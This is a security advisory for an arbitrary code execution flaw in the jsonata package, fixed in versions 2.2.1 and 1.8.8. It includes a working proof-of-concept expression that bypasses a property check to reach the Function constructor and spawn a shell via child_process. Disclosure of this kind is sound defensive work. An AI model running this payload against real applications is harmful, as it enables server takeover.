| Package | Affected versions | Patched versions |
|---|---|---|
| jsonata | ≥ 2.0.0, < 2.2.1< 1.8.8 | 2.2.11.8.8 |
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
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